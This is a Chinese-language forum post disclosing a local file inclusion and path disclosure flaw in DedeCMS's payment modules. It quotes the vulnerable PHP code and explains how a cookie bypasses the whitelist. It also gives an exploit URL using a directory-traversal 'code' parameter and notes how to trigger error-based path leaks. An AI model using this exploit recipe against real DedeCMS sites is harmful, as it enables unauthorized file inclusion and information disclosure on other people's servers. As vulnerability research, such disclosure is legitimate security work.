找回密码
 立即注册
查看: 2767|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)8 W2 b' O( Y( O$ W) g1 B
: G" |2 w# C& W  t9 ?, q  Z) G
出现漏洞的两个文件为:5 e4 r- L/ y% G/ M
Include/payment/alipay.php; p& S" ?& v- w. p# a3 d$ c& N
Include/payment/yeepay.php# m$ _* T1 K' i2 n" q6 H7 Q
漏洞均出现在respond方法里,估计这两个文件是临时工写的。  |: a2 ~& w* L

2 M/ [- E* `. }( h7 q0 J2 \Include/payment/alipay.php
: C& k# F' c" K+ n2 r& n6 R$ I! J- {2 C3 w8 x( v" k
......8 z" i3 K- X( _/ D$ I9 r" ?
   function respond()8 H9 V, X8 m. g5 t/ l8 e# |
    {3 x$ X  l3 \, r3 `) ]% n
        if (!empty($_POST))
3 y. p$ t4 ^* e- [3 W5 }" t        {
# o* e" e! }  I$ k) G            foreach($_POST as $key => $data)
" L9 D  W  i7 W7 p! l7 ^            {) M4 v6 v3 \, m6 s4 e
                $_GET[$key] = $data;
0 ?( r1 ?# Z4 _0 @1 c: S3 t            }8 _/ R  y" A, M. `; ~* o0 t
        }
- R  P& s8 D9 U& h        /* 引入配置文件 */- O6 [+ c' K; g
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';! O5 Z  c+ n( p- `& D! P3 m
...... . ]( ?$ N! Z* D+ s" H" N, P  k
) O2 l0 v% x; M* N0 {9 W; L
+ w4 o7 \0 l: |0 A
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。% |/ _0 u5 y2 P* c
( Z6 Z- n# g4 i; t
Include/payment/yeepay.php* C) X; b3 L- l
1 i. o$ [" |7 H
7 g8 a) a; N7 f
) B1 ^2 f7 A& x1 M( h
......
& F6 |+ E* s" Q& Q& ^    function respond()5 z4 x" F9 K" B# c+ v4 S5 [4 s
    {
% H. j- Q8 W( J; g$ W7 d5 W: [ 8 o  F% ?. ^) W) V# F
        /* 引入配置文件 */
$ a6 u" u$ Q9 C+ a3 l9 [1 G" h$ v        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
$ O. {- V1 s$ }3 o- x6 L $ S: w2 R4 t2 N" i
        $p1_MerId = trim($payment['yp_account']);
2 M8 W! e4 ?, G  `9 x' }        $merchantKey = trim($payment['yp_key']);
9 T0 l* U; q4 W. C: E7 k* @* M......
7 Z9 F3 l: F$ Y, R, x
4 K. B" u" u: ~; @
$ Q+ Z, V6 }4 L, b' e: h
4 R- S9 q& u- p/ ^2 z( o% G, w3 U+ W+ D/ H8 }4 \& I
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
! ~3 f# I- H/ c  L" ]) R; a3 }; C, A8 q2 A7 s
这两个方法在plus/carbuyaction.php文件调用。
& Q8 U" _7 d# |4 e, j5 I5 v- q
! O& O- G. p2 X: i+ ?% hplus/carbuyaction.php6 ^  s; C$ e/ }2 L! o3 p
# I, j2 b. M7 \- O2 d( Y
......
% Z  Z2 W. o9 g+ [0 J5 T} else if ($dopost == 'return') {# y3 e) w+ D; B0 L6 @
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
6 e- E/ D, B/ C1 @4 R/ g/ r    if (in_array($code, $write_list))8 ], g" E8 w5 _! N" n
    {9 b! X$ P$ f5 u& E6 H
        require_once DEDEINC.'/payment/'.$code.'.php';' w+ G; @7 R2 j8 Q7 C
        $pay = new $code;
0 f! ]6 X  W) ~* v' {% i        $msg=$pay->respond();
/ \( A" ~, p( A2 l        ShowMsg($msg, "javascript:;", 0, 3000);. \3 a5 S9 O1 g
        exit();  ! G1 w' u+ _3 y- O$ L( }
    } else {
" r  v* n- \) _' D        exit('Error:File Type Can\'t Recognized!');$ q0 @1 j$ ^" `0 }& q
    }" n3 m0 a) B0 C( v& L
}8 T& m' J1 N! e1 O7 Q
...... ; q7 b, C. j( ~+ |
6 F$ ]' d% `# D  L# ?: s/ x* l3 |# c0 D
; @$ m6 a: L  o+ l5 {; z; b( Y6 g

. L! h$ F" h" n2 a' m! U4 _8 J
/ G" }6 c' C% N   ?* i4 N; h* m4 U6 L4 a

7 C% X8 s& W0 C: K大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
" U$ w, j; g" i( g& P8 w所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。  w. J3 L* a& w' L1 T

3 U2 P. Y/ b: ^; L/ }9 j回到include/common.inc.php来看看他的机制。" R% p  |7 E- m* l7 C. T

, c' o% i$ w4 q0 J* z
7 ~8 l5 u+ z( o1 w. `! U; {$ u' L
0 F$ ]( V. D* w$ L% x% e1 Q/ m* Z......8 n5 T1 p( e4 `6 ^+ u; O
foreach(Array('_GET','_POST','_COOKIE') as $_request)
% d  y! D  D! J! L1 j{- o4 s$ e6 [( ^) m* H1 {" |" x
        foreach($$_request as $_k => $_v)
. I2 o3 |0 C6 e, b0 u4 Z        {8 Y1 K) q# {' ?1 y2 o
                if($_k == 'nvarname') ${$_k} = $_v;4 ~# M4 U" C% Q- y+ I9 n) W
                else ${$_k} = _RunMagicQuotes($_v);  q2 c7 T( c/ y% w7 f
        }4 E' ]( c; Z8 u# p
}
- w7 K; ~3 U' S3 P. I' Z......
5 r( u. S+ q5 N6 R+ }2 P- W  K9 F大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
9 G3 w2 c! x* J5 l由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表